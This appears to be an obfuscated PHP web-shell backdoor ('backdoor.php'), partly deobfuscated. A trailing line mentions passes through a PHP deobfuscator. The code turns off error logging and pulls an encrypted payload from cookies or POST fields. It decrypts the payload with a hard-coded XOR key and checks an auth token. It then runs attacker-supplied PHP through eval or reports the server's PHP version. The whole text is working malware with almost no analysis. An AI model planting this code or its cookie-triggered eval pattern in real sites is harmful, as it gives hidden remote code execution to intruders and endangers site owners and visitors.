backdoor.php

<?php

${"GLOBALS"}["xwyursgk"]    = "value";
${"GLOBALS"}["derkstv"]     = "out_data";
${"GLOBALS"}["jlyxyjddexo"] = "key";
${"GLOBALS"}["dpdkmcgvv"]   = "j";
${"GLOBALS"}["mwbyzybuj"]   = "i";
${"GLOBALS"}["sjzfiseitu"]  = "data_key";
${"GLOBALS"}["medidmpnos"]  = "data";

@ini_set("error_log", NULL);
@ini_set("log_errors", 0);
@ini_set("max_execution_time", 0);
@set_time_limit(0);

if (!defined("PHP_EOL")) {
    define("PHP_EOL", "");
}

$qtbsgvf = "data";
$mtbxmnj = "data_key";

if (!defined("DIRECTORY_SEPARATOR")) {
    define("DIRECTORY_SEPARATOR", "/");
}

${${"GLOBALS"}["medidmpnos"]} = NULL;
${${"GLOBALS"}["sjzfiseitu"]} = NULL;

$GLOBALS["auth"]              = "4ef63abe-1abd-45a6-913d-6fb99657e24b";

global $auth;

$tyjmuxkjcc = "auth";

function sh_decrypt_phase($data, $key)
{
    ${"GLOBALS"}["iinfvngci"]    = "out_data";
    ${"GLOBALS"}["wjspmln"]      = "out_data";
    ${${"GLOBALS"}["wjspmln"]}   = "";
    ${"GLOBALS"}["akxmulfjdpxt"] = "i";

    for (${${"GLOBALS"}["akxmulfjdpxt"]} = 0; ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]});) {
        $udkucaxadhsu = "j";
        for (${$udkucaxadhsu} = 0; ${${"GLOBALS"}["dpdkmcgvv"]} < strlen(${${"GLOBALS"}["jlyxyjddexo"]}) && ${${"GLOBALS"}["mwbyzybuj"]} < strlen(${${"GLOBALS"}["medidmpnos"]}); ${${"GLOBALS"}["dpdkmcgvv"]}++, ${${"GLOBALS"}["mwbyzybuj"]}++) {
            $xnanwxk                     = "j";
            ${"GLOBALS"}["orcfdqjbccnq"] = "i";
            ${${"GLOBALS"}["derkstv"]} .= chr(ord(${${"GLOBALS"}["medidmpnos"]}[${${"GLOBALS"}["orcfdqjbccnq"]}]) ^ ord(${${"GLOBALS"}["jlyxyjddexo"]}[${$xnanwxk}]));
        }
    }
    return ${${"GLOBALS"}["iinfvngci"]};
}

function sh_decrypt($data, $key)
{
    ${"GLOBALS"}["xumdoqv"] = "auth";
    $xysysumkpu             = "data";
    global $auth;
    return sh_decrypt_phase(sh_decrypt_phase(${$xysysumkpu}, ${${"GLOBALS"}["xumdoqv"]}), ${${"GLOBALS"}["jlyxyjddexo"]});
}

foreach ($_COOKIE as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["xwyursgk"]}) {
    ${"GLOBALS"}["haqcmugem"]     = "data_key";
    $uqweheyxxqi                  = "value";
    ${${"GLOBALS"}["medidmpnos"]} = ${$uqweheyxxqi};
    ${${"GLOBALS"}["haqcmugem"]}  = ${${"GLOBALS"}["jlyxyjddexo"]};
}

if (!${${"GLOBALS"}["medidmpnos"]}) {
    ${"GLOBALS"}["ybftyhoztv"] = "value";
    foreach ($_POST as ${${"GLOBALS"}["jlyxyjddexo"]} => ${${"GLOBALS"}["ybftyhoztv"]}) {
        ${${"GLOBALS"}["medidmpnos"]} = ${${"GLOBALS"}["xwyursgk"]};
        ${${"GLOBALS"}["sjzfiseitu"]} = ${${"GLOBALS"}["jlyxyjddexo"]};
    }
}

${"GLOBALS"}["bebchzf"]       = "data";
${${"GLOBALS"}["medidmpnos"]} = @unserialize(sh_decrypt(@base64_decode(${${"GLOBALS"}["bebchzf"]}), ${$mtbxmnj}));

if (isset(${${"GLOBALS"}["medidmpnos"]}["ak"]) && ${$tyjmuxkjcc} == ${$qtbsgvf}["ak"]) {
    ${"GLOBALS"}["fpqlgoyn"] = "data";
    ${"GLOBALS"}["bqkrelvm"] = "data";
    if (${${"GLOBALS"}["bqkrelvm"]}["a"] == "i") {
        ${${"GLOBALS"}["mwbyzybuj"]} = Array(
            "pv" => @phpversion(),
            "sv" => "1.0-1"
        );
        echo @serialize(${${"GLOBALS"}["mwbyzybuj"]});
    } elseif (${${"GLOBALS"}["fpqlgoyn"]}["a"] == "e") {
        $sygysdobfhgr = "data";
        eval(${$sygysdobfhgr}["d"]);
    }
}

The first pass from www.unphp.net is here.
The final pass is here: